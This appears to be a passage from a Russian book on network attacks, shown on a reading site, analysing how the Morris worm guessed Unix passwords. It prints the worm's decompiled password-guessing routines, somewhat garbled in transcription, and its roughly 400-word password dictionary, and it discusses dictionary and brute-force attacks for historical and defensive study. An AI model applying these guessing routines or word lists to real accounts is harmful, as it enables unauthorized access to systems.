Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК
- Название:ТЕХНИКА СЕТЕВЫХ АТАК
- Автор:
- Жанр:
- Издательство:неизвестно
- Год:неизвестен
- ISBN:нет данных
- Рейтинг:
- Избранное:Добавить в избранное
-
Отзывы:
-
Ваша оценка:
Крис Касперский - ТЕХНИКА СЕТЕВЫХ АТАК краткое содержание
ТЕХНИКА СЕТЕВЫХ АТАК - читать онлайн бесплатно полную версию (весь текст целиком)
Интервал:
Закладка:
· /* Check for 'username', 'usernameusername' and 'emanresu' as passwds. */
· static strat_1()/* 0x61ca */
· {
· int cnt;
· char usrname[50], buf[50];
·
· for (cnt = 0; x27f2c amp; amp; cnt «50; x27f2c = x27f2c-»next)
· {
· /* Every tenth time look for "me mates" */
· if ((cnt % 10) - 0) other_sleep(0);
·
· /* Check for no passwd */
· // Проверка на пустой пароль
· if (try_passwd(x27f2c, XS("))) continue;/* 1722 */
·
· /* If the passwd is something like "*" punt matching it. */
· // Если вместо пароля стоит символ-джокер, пропускаем такой пароль
· if (strlen(x27f2c-»passwd)!= 13) continue;
·
· // Попробовать в качестве пароля подставить имя пользователя
· strncpy(usrname, x27f2c, sizeof(usrname)-1);
· usrname[sizeof(usrname)-1] = '\0';
· if (try_passwd(x27f2c, usrname)) continue;
·
· // Попробовать в качестве пароля двойное имя пользователя (т.е. для kpnc - kpnckpnc)
· sprintf(buf, XS("%.20s%.20s"), usrname, usrname);
· if (try_passwd(x27f2c, buf)) continue;
·
· // Попробовать в качестве пароля расширенное имя пользователя в нижнем регистре
· sscanf(x27f2c-»gecos, XS("%[^,]"), buf);
· if (isupper(buf[0])) buf[0] = tolower(buf[0]);
· if (strlen(buf)» 3 amp; amp; try_passwd(x27f2c, buf)) continue;
·
· // Попробовать в качестве пароля второе расширенное имя пользователя
· buf[0] = '\0';
· sscanf(x27f2c-»gecos, XS("%*s %[^,]s"), buf);
· if (isupper(buf[0])) buf[0] = tolower(buf[0]);
· if (strlen(buf)» 3 amp; amp; index(buf, ',') - NULL amp; amp;
· try_passwd(x27f2c, buf)) continue;
·
· // Попробовать в качестве пароля имя пользователя задом наперед
· reverse_str(usrname, buf);
· if (try_passwd(x27f2c, buf));
·}
· if (x27f2c - 0) cmode = 2;
· return;
·}
То есть для пользователя с учетной записью «kpnc:z3c24adf310s:16:13:Kris Kaspersky:/home/kpnc:/bin/bash» вирус в качестве пароля перебирал бы следующие варианты:
· пустой пароль (вдруг да повезет!)
· имя пользователя (в приведенном примере kpnc)
· удвоенное имя пользователя (kpnckpnc)
· первое расширенное имя в нижнем регистре (kris)
· второе расширенное имя в нижнем регистре (kaspersky)
· имя пользователя задом-наперед (cnpk)
И это работало! Как сейчас утверждается, инфицированными оказались около шести тысяч компьютеров [102]. Не последнюю роль в проникновении в систему сыграла атака по словарю. Создатель вируса составил список более четырехсот наиболее популярных с его точки зрения паролей, который и приводится ниже. Парадоксально, но даже сегодня он все еще остается актуальным, и многие пользователи ухитряются использовать те же самые слова, что и двадцать лет назад.
academia, aerobics, airplane, albany, albatross,
albert, alex, alexander, algebra, aliases,
alphabet, amorphous, analog, anchor, andromache,
animals, answer, anthropogenic, anvils, anything",
aria, ariadne, arrow, arthur, athena,
atmosphere, aztecs, azure, bacchus, bailey,
banana, bananas, bandit, banks, barber,
baritone, bass, bassoon, batman, beater,
beauty, beethoven, beloved, benz, beowulf,
berkeley, berliner, beryl, beverly, bicameral,
brenda, brian, bridget, broadway, bumbling,
burgess, campanile, cantor, cardinal, carmen,
carolina, caroline, cascades, castle, cayuga,
celtics, cerulean, change, charles, charming,
charon, chester, cigar, classic, clusters,
coffee, coke, collins, commrades, computer,
condo, cookie, cooper, cornelius, couscous,
creation, creosote, cretin, daemon, dancer,
daniel, danny, dave, december, defoe,
deluge, desperate, develop, dieter, digital,
discovery, disney, drought, duncan, eager,
easier, edges, edinburgh, edwin, edwina,
egghead, eiderdown, eileen, einstein, elephant,
elizabeth, ellen, emerald, engine, engineer,
enterprise, enzyme, ersatz, establish, estate,
euclid, evelyn, extension, fairway, felicia,
fender, fermat, fidelity, finite, fishers,
flakes, float, flower, flowers, foolproof,
football, foresight, format, forsythe, fourier,
fred, friend, frighten, fungible, gabriel,
gardner, garfield, gauss, george, gertrude,
ginger, glacier, golfer, gorgeous, gorges,
gosling, gouge, graham, gryphon, guest,
guitar, gumption, guntis, hacker, hamlet,
handily, happening, harmony, harold, harvey,
hebrides, heinlein, hello, help, herbert,
hiawatha, hibernia, honey, horse, horus,
hutchins, imbroglio, imperial, include, ingres,
inna, innocuous, irishman, isis, japan,
jessica, jester, jixian, johnny, joseph,
joshua, judith, juggle, julia, kathleen,
kermit, kernel, kirkland, knight, ladle,
lambda, lamination, larkin, larry, lazarus,
lebesgue, leland, leroy, lewis, light,
lisa, louis, lynne, macintosh, mack,
maggot, magic, malcolm, mark, markus,
marty, marvin, master, maurice, mellon,
merlin, mets, michael, michelle, mike,
minimum, minsky, moguls, moose, morley,
mozart, nancy, napoleon, nepenthe, ness,
network, newton, next, noxious, nutrition,
nyquist, oceanography, ocelot, olivetti, olivia,
oracle, orca, orwell, osiris, outlaw,
oxford, pacific, painless, pakistan, papers,
password, patricia, penguin, peoria, percolate,
persimmon, persona, pete, peter, philip,
phoenix, pierre, pizza, plover, plymouth,
polynomial, pondering, pork, poster, praise,
precious, prelude, prince", princeton", protect,
protozoa, pumpkin, puneet, puppet, rabbit",
rachmaninoff, rainbow, raindrop, raleigh, random,
rascal, really, rebecca, remote, rick,
ripple, robotics, rochester, rolex, romano,
ronald, rosebud, rosemary, roses, ruben,
rules, ruth, saxon, scamper, scheme,
scott, scotty, secret, sensor, serenity,
sharks, sharon, sheffield, sheldon, shiva,
shivers, shuttle, signature, simon, simple,
singer, single, smile, smiles, smooch,
smother, snatch, snoopy, soap, socrates,
sossina, sparrows, spit, spring, springer,
squires, strangle, stratford, stuttgart, subway,
success, summer, super, superstage, support,
supported, surfer, suzanne, swearer, symmetry,
tangerine, tape, target, tarragon, taylor,
telephone, temptation, thailand, tiger, toggle,
tomato, topography, tortoise, toyota, trails,
trivial, trombone, tubas, tuttle, umesh,
unhappy, unicorn, unknown, urchin", utility,
vasant, vertigo, vicky, village, virginia,
warren, water, weenie, whatnot, whiting,
whitney, will, william, williamsburg, willie,
winston, wisconsin, wizard, wombat, woodwind,
wormwood, yacov, yang, yellowstone, yosemite,
zimmerman.
Внимательно просмотрев этот список, можно предположить, что Роберт читал книгу Френка Херберта «Дюна» или, по крайней мере, был знаком с ней. Как знать, может быть, именно она и вдохновила его на создание вируса? Но, так или иначе, вирус был написан, и всякую доступную машину проверял на десять паролей, выбранных их списка наугад, - это частично маскировало присутствие червя в системе. Если же ни один из паролей не подходил, вирус обращался к файлу орфографического словаря, обычно расположенного в каталоге “/usr/dict/words”. Подтверждает эти слова фрагмент вируса, приведенный ниже:
· static dict_words()
· {
· char buf[512];
· struct usr *user;
· static FILE *x27f30;
·
· if (x27f30!= NULL)
· {
· x27f30 = fopen(XS(" /usr/dict/words "), XS("r"));
· if (x27f30 - NULL)return;
·}
· if (fgets(buf, sizeof(buf), x27f30) - 0)
· {
· cmode++;
· return;
·}
· ( amp;buf[strlen(buf)])[-1] = '\0';
·
· for (user = x27f28; user; user = user-»next) try_passwd(user, buf);
· if (!isupper(buf[0])) return;
· buf[0] = tolower(buf[0]);
·
· for (user = x27f28; user; user = user-»next) try_passwd(user, buf);
· return;
·}
Конечно, сегодня наблюдается тенденция к усложнению паролей и выбору случайных, бессмысленных последовательностей, но вместе с этим растет и количество пользователей, - администраторы оказываются просто не в состоянии за всеми уследить и проконтролировать правильность выбора пароля. Поэтому, атака по словарю по-прежнему остается в арсенале злоумышленника. И не только злоумышленника, - ничуть не хуже она служит… администраторам!
В самом деле, - простейший способ уберечь пользователя от слабого пароля - проверить выбранный им пароль по словарю. Любопытно, но словари обеими сторонами (т.е. администраторами и злоумышленниками) обычно берутся из одних и тех же источников, и шансы проникнуть в такую систему, близки к нулю. Вот если бы научится составлять словарь самостоятельно! Но почему нет? Достаточно взять большой текстовой файл и разбить его на слова, отбрасывая заведомо лишние (предлоги, местоимения).
Но даже самый лучший словарь не всегда приводит к успешной атаке. Тем более, пытаясь подобрать пароль администратора, совсем уж тривиальной комбинации ожидать не следует. Но скорость бытовых компьютеров возросла в десятки тысяч раз, и лобовой перебор из утопии превратился в реальность. Там, например, на старших моделях процессора Pentium легко достигнуть скорости в 50.000 паролей в секунду, то есть все комбинации из строчечных латинских букв можно перебрать меньше чем за месяц - вполне приемлемый для злоумышленника срок! А если использовать несколько компьютеров, распараллелив вычисления, время поиска можно уменьшить во много раз - уже с помощью десяти компьютеров (вполне доступных группе злоумышленников) тот же пароль можно найти за пару дней!
Читать дальшеИнтервал:
Закладка: